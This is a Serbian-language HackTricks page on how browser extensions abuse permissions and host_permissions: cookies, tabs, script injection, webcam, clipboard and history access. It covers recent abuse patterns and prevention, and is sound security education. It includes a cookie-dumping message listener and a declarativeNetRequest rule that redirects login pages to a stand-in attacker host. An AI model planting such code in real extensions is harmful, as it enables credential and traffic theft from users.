BrowExt - permissions & host_permissions

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

permissions

Dozvole se definišu u fajlu ekstenzije manifest.json koristeći svojstvo permissions i omogućavaju pristup gotovo svemu čemu i browser može pristupiti (Cookies ili fizičko skladište):

Prethodni manifest navodi da ekstenzija zahteva storage dozvolu. To znači da može koristiti the storage API da trajno skladišti svoje podatke. Za razliku od Cookies ili localStorage API-ja koji korisnicima daju određeni nivo kontrole, skladište ekstenzije se obično može očistiti samo deinstalacijom ekstenzije.

Ekstenzija će zatražiti dozvole navedene u svom manifest.json fajlu. Nakon instalacije ekstenzije, uvek možete proveriti njene dozvole u vašem browser-u, kao na slici ispod:

You can find the complete list of permissions a Chromium Browser Extension can request here and a complete list for Firefox extensions here.

host_permissions

Opciono, ali moćno podešavanje host_permissions pokazuje sa kojim hostovima će ekstenzija moći da komunicira putem apija kao što su cookies, webRequest, i tabs.

Sledeće host_permissions u suštini omogućavaju pristup svim web sajtovima:

"host_permissions": [
"*://*/*"
]

// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
]

// Or:
"host_permissions": [
"<all_urls>"
]

Ovo su hostovi kojima ekstenzija pregledača može slobodno pristupiti. To je zato što kada ekstenzija pregledača pozove fetch("https://gmail.com/") ona nije ograničena CORS-om.

Abusing permissions and host_permissions

Cookies

Dozvola cookies omogućava ekstenziji pristup svim cookies pregledača. U this blog post ta dozvola je zloupotrebljena kroz ranjiv pozadinski skript kako bi se ekstenzija pregledača zloupotrebila i napadaču dostavili svi cookies pregledača korisnika-žrtve koji je pristupio malicioznoj web stranici. Ranjiv kod je jednostavno vraćao sve cookies:

chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.action == "getCookies") {
chrome.cookies.getAll({}, function(cookies) {
sendResponse({data: cookies});
});
}
return true;
}
);

Tabs

Štaviše, host_permissions takođe otključavaju “naprednu” tabs API funkcionalnost. One omogućavaju ekstenziji da pozove tabs.query() i ne samo da dobije listu korisnikovih browser tabova već i da sazna koja web stranica (tj. adresa i naslov) je učitana.

Caution

Pored toga, slušači poput tabs.onUpdated takođe postaju mnogo korisniji. Biće obavešteni kad god se nova stranica učita u tab.

Running content scripts

Content scripts ne moraju nužno biti statički upisani u manifest ekstenzije. Uz dovoljne host_permissions, ekstenzije ih mogu dinamički učitavati pozivanjem tabs.executeScript() ili scripting.executeScript().

Obe API dozvoljavaju izvršavanje ne samo fajlova sadržanih u ekstenzijama kao content scripts već i proizvoljnog koda. Prvi omogućava prosleđivanje JavaScript koda kao string, dok drugi očekuje JavaScript funkciju što je manje podložno injekcionim ranjivostima. Ipak, obe API mogu napraviti haos ako se zloupotrebe.

Caution

Pored navedenih mogućnosti, content scripts mogu, na primer, presretati kredencijale dok se unose u web stranice. Drugi klasičan način zloupotrebe je ubacivanje reklama na sve web sajtove. Dodavanje prevarantskih poruka radi zloupotrebe kredibiliteta novinskih sajtova takođe je moguće. Na kraju, mogu manipulisati bankarskim sajtovima da preusmere novčane transfere.

Implicit privileges

Neke privilegije ekstenzija ne moraju biti eksplicitno deklarisane. Jedan primer je tabs API: njegova osnovna funkcionalnost je dostupna bez ikakvih privilegija. Bilo koja ekstenzija može biti obaveštena kada otvorite ili zatvorite tabove, samo neće znati kojoj web lokaciji ti tabovi pripadaju.

Zvuči previše bezopasno? tabs.create() API je donekle manje benign. Može se koristiti za kreiranje novog taba, praktično isto kao window.open() koji može pozvati bilo koji sajt. Ipak, dok je window.open() podložno pop-up blocker-u, tabs.create() nije.

Caution

Ekstenzija može kreirati proizvoljan broj tabova kad god želi.

Ako pogledate moguće tabs.create() parametre, primetićete da njegove mogućnosti znatno prevazilaze ono što window.open() može kontrolisati. I dok Firefox ne dozvoljava korišćenje data: URI sa ovom API-jem, Chrome nema takvu zaštitu. Korišćenje takvih URI na top‑level-u je zabranjeno zbog zloupotrebe u phishingu.

tabs.update() je veoma sličan tabs.create() ali će izmeniti postojeći tab. Tako maliciozna ekstenzija može, na primer, proizvoljno učitati stranicu sa reklamom u jedan od vaših tabova, i može aktivirati odgovarajući tab.

Webcam, geolocation and friends

Verovatno znate da sajtovi mogu zahtevati posebne dozvole, npr. da pristupe vašoj webcam-i (alati za video konferencije) ili geografskom položaju (mape). To su funkcije sa značajnim potencijalom za zloupotrebu, pa korisnici svaki put moraju potvrditi da i dalje to žele.

Caution

Nije tako sa browser ekstenzijama. Ako browser ekstenzija želi pristup vašoj webcam-i ili mikrofonu, mora tražiti dozvolu samo jednom

Obično to ekstenzija uradi odmah nakon instalacije. Kada se ovaj dijalog prihvati, pristup webcam-i je moguć u bilo koje vreme, čak i ako korisnik trenutno ne komunicira sa ekstenzijom. Da, korisnik će prihvatiti dijalog samo ako ekstenzija zaista treba pristup webcam-i. Ali nakon toga mora verovati ekstenziji da neće tajno snimati.

Sa pristupom vašem tačnom geografskom položaju ili sadržaju vašeg clipboard-a, eksplicitno davanje dozvole uopšte nije potrebno. Ekstenzija jednostavno doda geolocation ili clipboard u permissions entry svog manifesta. Ove privilegije pristupa se zatim implicitno dodeljuju prilikom instalacije ekstenzije. Dakle, maliciozna ili kompromitovana ekstenzija sa ovim privilegijama može kreirati vaš profil kretanja ili pratiti clipboard u potrazi za kopiranim lozinkama bez da primetite išta.

Dodatkom ključne reči history u permissions entry manifesta ekstenzije dodeljuje se pristup history API. To omogućava preuzimanje celokupne istorije pretraživanja korisnika odjednom, bez čekanja da korisnik ponovo poseti te sajtove.

Dozvola bookmarks ima sličan potencijal za zloupotrebu, omogućavajući čitanje svih bookmark-ova putem bookmarks API.

Storage permission

Storage ekstenzije je ustvari kolekcija ključ‑vrednost, vrlo slična localStorage koju bilo koji sajt može koristiti. Dakle, ovde ne bi trebalo čuvati osetljive informacije.

Međutim, oglašivačke kompanije takođe mogu zloupotrebiti ovaj storage.

More permissions

Manifest V3 je razdvojio pristup stranicama od API dozvola: permissions i dalje upravlja privilegovanim API-ima (cookies, tabs, history, scripting, itd.), dok host_permissions kontroliše koje origin-e ti API-i mogu da dodirnu. MV3 je takođe omogućio da se host permissions dodeljuju u runtime-u, pa ekstenzije mogu biti isporučene bez njih i kasnije prikazati zahtev za saglasnost preko chrome.permissions.request()—pogodno za legitimne least‑privilege tokove, ali i zloupotrebljivo od strane malvera da eskalira nakon što stekne reputaciju.

Prikrivena varijanta je declarativeNetRequestWithHostAccess (Chrome ≥96). Ona pruža istu moć blokiranja/preusmeravanja zahteva kao declarativeNetRequest ali prikazuje slabiji instalacioni prompt nego <all_urls> host permissions. Maliciozne ekstenzije je koriste da tiho dobiju mogućnost „blokiraj/preusmeri na bilo kom sajtu“; testirajte promptove sa chrome://extensions/?errors i chrome://extensions/?id=<id>.

declarativeNetRequest dinamička pravila omogućavaju ekstenziji da preprogramira mrežnu politiku u runtime-u. Sa <all_urls> host pristupom napadač može to iskoristiti da otme saobraćaj ili izvrši data exfil. Primer:

chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
id: 9001,
priority: 1,
action: {
type: "redirect",
redirect: { url: "https://attacker.tld/collect" }
},
condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
}]
});

Chrome je povećao MV3 rule limits (≈330k static / 30k dynamic), pa su veliki skupovi pokrivenosti izvodljivi za interception/ads injection.

Nedavni obrasci zloupotrebe

  • Supply-chain trojanized updates: Ukradeni developerski nalozi guraju MV3 update koji dodaju <all_urls> plus declarativeNetRequest/scripting/webRequest da bi injektovali remote JS i iscedili zaglavlja/DOM sadržaj.
  • Wallet drains: Host access plus storage i tabs omogućavaju backdoored wallet ekstenzijama da eksfiltriraju seedove; ukradeni Web Store API keys su korišćeni za isporuku malicioznih buildova.
  • Cookie theft: Bilo koja ekstenzija sa cookies + širokim pristupom hostovima može pročitati auth cookies uprkos HttpOnly — tretirajte tu kombinaciju kao sposobnu za krađu kredencijala.

Prevencija

Google-ova developerska politika izričito zabranjuje ekstenzijama da traže više privilegija nego što im je potrebno za funkcionalnost, čime se efikasno umanjuje prekomerno zahtevanje permisija. Jedan primer gde je browser extension prekoračio ovu granicu uključivao je njenu distribuciju zajedno sa browser-om, umesto preko add-on store-a.

Browseri bi mogli dodatno da ograniče zloupotrebu privilegija ekstenzija. Na primer, Chrome-ovi tabCapture i desktopCapture API-ji, koji se koriste za snimanje ekrana, dizajnirani su da minimiziraju zloupotrebu. tabCapture API može biti aktiviran samo kroz direktnu korisničku interakciju, kao što je klik na ikonu ekstenzije, dok desktopCapture zahteva korisničku potvrdu za prozor koji će biti snimljen, čime se sprečava tajno snimanje.

Međutim, pooštravanje sigurnosnih mera često dovodi do smanjene fleksibilnosti i manje prijateljskog UX-a ekstenzija. Primer ovog kompromisa je activeTab permission. On je uveden da eliminiše potrebu da ekstenzije traže host privileges preko čitavog interneta, dozvoljavajući ekstenzijama pristup samo trenutnom tabu nakon eksplicitne aktivacije od strane korisnika. Ovaj model je efikasan za ekstenzije koje zahtevaju korisnički pokrenute akcije, ali nije pogodan za one koje trebaju automatske ili preemptivne akcije, čime se narušava pogodnost i momentalna odzivnost.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks